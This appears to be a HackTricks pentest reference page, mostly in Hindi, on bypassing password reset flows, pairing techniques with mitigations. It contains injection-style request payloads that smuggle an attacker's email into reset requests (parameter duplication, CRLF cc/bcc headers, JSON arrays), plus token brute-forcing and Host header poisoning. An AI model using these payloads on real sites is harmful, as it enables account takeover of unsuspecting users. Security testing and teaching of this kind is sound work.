Reset/Forgotten Password Bypass

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Password Reset Token Leak Via Referrer

  • HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब एक उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद एक तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
  • Impact: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
  • Exploitation: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें और प्रदान किए गए रीसेट लिंक पर क्लिक करेंअपना पासवर्ड तुरंत न बदलें। इसके बजाय, Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तीसरे पक्ष की वेबसाइट (जैसे Facebook या Twitter) पर जाएं। देखें कि क्या referer हेडर में पासवर्ड रीसेट टोकन है, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को एक दुर्भावनापूर्ण साइट पर रीसेट लिंक को इंगित करने के लिए हेरफेर कर सकते हैं।
  • Impact: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
  • Mitigation Steps:
  • अनुमत डोमेन की व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
  • पूर्ण URLs उत्पन्न करने के लिए सुरक्षित, सर्वर-साइड विधियों का उपयोग करें।
  • Patch: $_SERVER['SERVER_NAME'] का उपयोग करके पासवर्ड रीसेट URLs बनाएं, $_SERVER['HTTP_HOST'] के बजाय।
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

हमलावर पासवर्ड रीसेट अनुरोध को अतिरिक्त ईमेल पैरामीटर जोड़कर रीसेट लिंक को मोड़ सकते हैं।

  • हमलावर ईमेल को दूसरे पैरामीटर के रूप में & का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में %20 का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में bcc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें।
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • JSON एरे में दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Changing Email And Password of any User through API Parameters

  • हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित करके खाता क्रेडेंशियल्स बदल सकते हैं।
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Mitigation Steps:
  • सुनिश्चित करें कि पैरामीटर मान्यता और प्रमाणीकरण जांच सख्त हैं।
  • संदिग्ध गतिविधियों का पता लगाने और प्रतिक्रिया देने के लिए मजबूत लॉगिंग और निगरानी लागू करें।
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • पासवर्ड रीसेट अनुरोधों पर दर सीमा की कमी ईमेल बमबारी का कारण बन सकती है, उपयोगकर्ता को रीसेट ईमेल से अभिभूत कर सकती है।
  • Mitigation Steps:
  • IP पते या उपयोगकर्ता खाते के आधार पर दर सीमा लागू करें।
  • स्वचालित दुरुपयोग को रोकने के लिए CAPTCHA चुनौतियों का उपयोग करें।
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या ब्रूट-फोर्सिंग में मदद मिल सकती है। कुछ विकल्प:
  • टाइमस्टैम्प के आधार पर
  • UserID के आधार पर
  • उपयोगकर्ता के ईमेल के आधार पर
  • पहले नाम और अंतिम नाम के आधार पर
  • जन्म तिथि के आधार पर
  • क्रिप्टोग्राफी के आधार पर
  • Mitigation Steps:
  • टोकन जनरेशन के लिए मजबूत, क्रिप्टोग्राफिक विधियों का उपयोग करें।
  • भविष्यवाणी को रोकने के लिए पर्याप्त यादृच्छिकता और लंबाई सुनिश्चित करें।
  • Tools: टोकनों की यादृच्छिकता का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।

Guessable UUID

  • यदि UUIDs (संस्करण 1) अनुमानित या भविष्यवाणी योग्य हैं, तो हमलावर उन्हें वैध रीसेट टोकन उत्पन्न करने के लिए ब्रूट-फोर्स कर सकते हैं। जांचें:

UUID Insecurities

  • Mitigation Steps:
  • यादृच्छिकता के लिए GUID संस्करण 4 का उपयोग करें या अन्य संस्करणों के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
  • Tools: GUIDs का विश्लेषण और उत्पन्न करने के लिए guidtool का उपयोग करें।

Response Manipulation: Replace Bad Response With Good One

  • त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
  • Mitigation Steps:
  • प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
  • मैन-इन-द-मिडल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • यह परीक्षण करना कि क्या समाप्त टोकन अभी भी पासवर्ड रीसेट के लिए उपयोग किए जा सकते हैं।
  • Mitigation Steps:
  • सख्त टोकन समाप्ति नीतियों को लागू करें और सर्वर-साइड पर टोकन की समाप्ति को मान्य करें।

Brute Force Password Reset Token

  • IP-आधारित दर सीमाओं को बायपास करने के लिए Burpsuite और IP-Rotator जैसे उपकरणों का उपयोग करके रीसेट टोकन को ब्रूट-फोर्स करने का प्रयास करना।
  • Mitigation Steps:
  • मजबूत दर-सीमित और खाता लॉकआउट तंत्र लागू करें।
  • ब्रूट-फोर्स हमलों के संकेतक के रूप में संदिग्ध गतिविधियों की निगरानी करें।

Try Using Your Token

  • यह परीक्षण करना कि क्या हमलावर का रीसेट टोकन पीड़ित के ईमेल के साथ उपयोग किया जा सकता है।
  • Mitigation Steps:
  • सुनिश्चित करें कि टोकन उपयोगकर्ता सत्र या अन्य उपयोगकर्ता-विशिष्ट विशेषताओं से बंधे हैं।

Session Invalidation in Logout/Password Reset

  • यह सुनिश्चित करना कि जब उपयोगकर्ता लॉगआउट या पासवर्ड रीसेट करता है तो सत्र अमान्य हो जाते हैं।
  • Mitigation Steps:
  • उचित सत्र प्रबंधन लागू करें, यह सुनिश्चित करते हुए कि सभी सत्र लॉगआउट या पासवर्ड रीसेट पर अमान्य हो जाएं।

Session Invalidation in Logout/Password Reset

  • रीसेट टोकनों का एक समाप्ति समय होना चाहिए जिसके बाद वे अमान्य हो जाते हैं।
  • Mitigation Steps:
  • रीसेट टोकनों के लिए एक उचित समाप्ति समय निर्धारित करें और इसे सर्वर-साइड पर सख्ती से लागू करें।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें